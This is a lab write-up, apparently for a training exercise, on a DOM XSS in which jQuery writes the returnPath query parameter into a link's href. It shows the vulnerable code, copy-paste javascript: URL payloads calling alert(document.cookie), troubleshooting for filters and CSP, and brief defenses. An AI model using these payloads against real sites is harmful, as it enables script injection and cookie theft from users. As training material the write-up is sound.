DOM XSS in jQuery anchor href attribute sink using location.search source

🎯 Objective

Exploit a DOM XSS in the feedback page to make the “back” link execute alert(document.cookie).

If cookies are marked HttpOnly, document.cookie may be empty. The execution still proves the sink is exploitable.

🧩 What I’m exploiting

• jQuery sets an anchor’s href from untrusted input: location.search → returnPath.
• Sink: $('#backLink').attr('href', <untrusted>) (attribute sink).
• Using a javascript: URL lets us run code when the back link is clicked (or immediately in some contexts).

Relevant code

$(function() {
  $('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath') );
});

🧭 Steps I Took

1. Baseline navigation to confirm control over href:

...?returnPath=//www.google.se

2. Trigger code execution via javascript: URL:

...?returnPath=javascript:alert(1)

3. Invoke document.cookie (may be empty if HttpOnly, but still executes):

...?returnPath=javascript:alert(document.cookie)

4. If special characters are filtered, use URL‑encoded payloads.

📎 Copy‑paste payloads

Direct

https://<LAB-HOST>/feedback?returnPath=javascript:alert(document.cookie)

URL‑encoded

https://<LAB-HOST>/feedback?returnPath=javascript%3aalert%28document.cookie%29

Sanity check (non‑JS URL)

https://<LAB-HOST>/feedback?returnPath=//www.google.se

🧪 Troubleshooting

• Blank alert box? Likely HttpOnly cookies. Use alert(1) to demonstrate code execution if needed.
• No execution? Ensure element id is backLink and you’re on the /feedback page.
• Filtering/CSP: Try URL‑encoded payloads; if a CSP blocks javascript:, the lab would typically relax it for this exercise—double‑check the exact path/param name.
• Auto‑navigation: If the link must be clicked, click the Back link after loading the crafted URL.

🔒 Defense (notes)

• Never write untrusted data into URL/attribute sinks. Validate against an allowlist of same‑site paths.
• Prefer setting text, or use safe URL builders to strip javascript: / data: schemes.
• Add a strict CSP and avoid unsafe-inline where possible.

✅ Result

• Controlled the anchor href via returnPath and executed JS with javascript:.
• Payload alert(document.cookie) executed (cookie value may be empty if HttpOnly).